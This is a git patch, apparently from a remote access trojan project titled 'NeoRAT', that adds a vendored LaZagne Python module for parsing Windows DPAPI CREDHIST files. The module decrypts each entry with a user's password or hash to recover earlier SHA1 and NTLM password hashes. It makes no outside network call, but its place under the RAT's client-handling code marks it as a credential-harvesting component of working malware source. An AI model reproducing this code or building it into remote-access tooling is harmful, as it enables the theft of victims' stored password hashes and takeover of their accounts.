From 20dbeb2f38684c65ff0a4b99012c161295708e88 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:01:49 +0200 Subject: NeoRAT --- .../lazagne/config/DPAPI/credhist.py | 142 +++++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 foreign/client_handling/lazagne/config/DPAPI/credhist.py (limited to 'foreign/client_handling/lazagne/config/DPAPI/credhist.py') diff --git a/foreign/client_handling/lazagne/config/DPAPI/credhist.py b/foreign/client_handling/lazagne/config/DPAPI/credhist.py new file mode 100644 index 0000000..2a1d8d7 --- /dev/null +++ b/foreign/client_handling/lazagne/config/DPAPI/credhist.py @@ -0,0 +1,142 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Code based from these two awesome projects: +- DPAPICK : https://bitbucket.org/jmichel/dpapick +- DPAPILAB : https://github.com/dfirfpi/dpapilab +""" + +import struct +import hashlib + +from . import crypto +from .eater import DataStruct + + +class RPC_SID(DataStruct): + """ + Represents a RPC_SID structure. See MSDN for documentation + """ + def __init__(self, raw=None): + self.version = None + self.idAuth = None + self.subAuth = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.version = data.eat("B") + n = data.eat("B") + self.idAuth = struct.unpack(">Q", "\0\0" + data.eat("6s"))[0] + self.subAuth = data.eat("%dL" % n) + + def __str__(self): + s = ["S-%d-%d" % (self.version, self.idAuth)] + s += ["%d" % x for x in self.subAuth] + return "-".join(s) + + +class CredhistEntry(DataStruct): + + def __init__(self, raw=None): + self.pwdhash = None + self.hmac = None + self.revision = None + self.hashAlgo = None + self.rounds = None + self.cipherAlgo = None + self.shaHashLen = None + self.ntHashLen = None + self.iv = None + self.userSID = None + self.encrypted = None + self.revision2 = None + self.guid = None + self.ntlm = None + DataStruct.__init__(self, raw) + + def parse(self, data): + self.revision = data.eat("L") + self.hashAlgo = crypto.CryptoAlgo(data.eat("L")) + self.rounds = data.eat("L") + data.eat("L") + self.cipherAlgo = crypto.CryptoAlgo(data.eat("L")) + self.shaHashLen = data.eat("L") + self.ntHashLen = data.eat("L") + self.iv = data.eat("16s") + + self.userSID = RPC_SID() + self.userSID.parse(data) + + n = self.shaHashLen + self.ntHashLen + n += -n % self.cipherAlgo.blockSize + self.encrypted = data.eat_string(n) + + self.revision2 = data.eat("L") + self.guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + def decrypt_with_hash(self, pwdhash): + """ + Decrypts this credhist entry with the given user's password hash. + Simply computes the encryption key with the given hash + then calls self.decrypt_with_key() to finish the decryption. + """ + self.decrypt_with_key(crypto.derivePwdHash(pwdhash, str(self.userSID))) + + def decrypt_with_key(self, enckey): + """ + Decrypts this credhist entry using the given encryption key. + """ + cleartxt = crypto.dataDecrypt(self.cipherAlgo, self.hashAlgo, self.encrypted, enckey, + self.iv, self.rounds) + self.pwdhash = cleartxt[:self.shaHashLen] + self.ntlm = cleartxt[self.shaHashLen:self.shaHashLen + self.ntHashLen].rstrip("\x00") + if len(self.ntlm) != 16: + self.ntlm = None + + +class CredHistFile(DataStruct): + + def __init__(self, raw=None): + self.entries_list = [] + self.entries = {} + self.valid = False + self.footmagic = None + self.curr_guid = None + DataStruct.__init__(self, raw) + + def parse(self, data): + while True: + l = data.pop("L") + if l == 0: + break + self.addEntry(data.pop_string(l - 4)) + + self.footmagic = data.eat("L") + self.curr_guid = "%0x-%0x-%0x-%0x%0x-%0x%0x%0x%0x%0x%0x" % data.eat("L2H8B") + + def addEntry(self, blob): + """ + Creates a CredhistEntry object with blob then adds it to the store + """ + x = CredhistEntry(blob) + self.entries[x.guid] = x + self.entries_list.append(x) + + def decrypt_with_hash(self, pwdhash): + """ + Try to decrypt each entry with the given hash + """ + + if self.valid: + return + + for entry in self.entries_list: + entry.decrypt_with_hash(pwdhash) + + def decrypt_with_password(self, password): + """ + Decrypts this credhist entry with the given user's password. + Simply computes the password hash then calls self.decrypt_with_hash() + """ + self.decrypt_with_hash(hashlib.sha1(password.encode("UTF-16LE")).digest()) -- cgit v1.2.3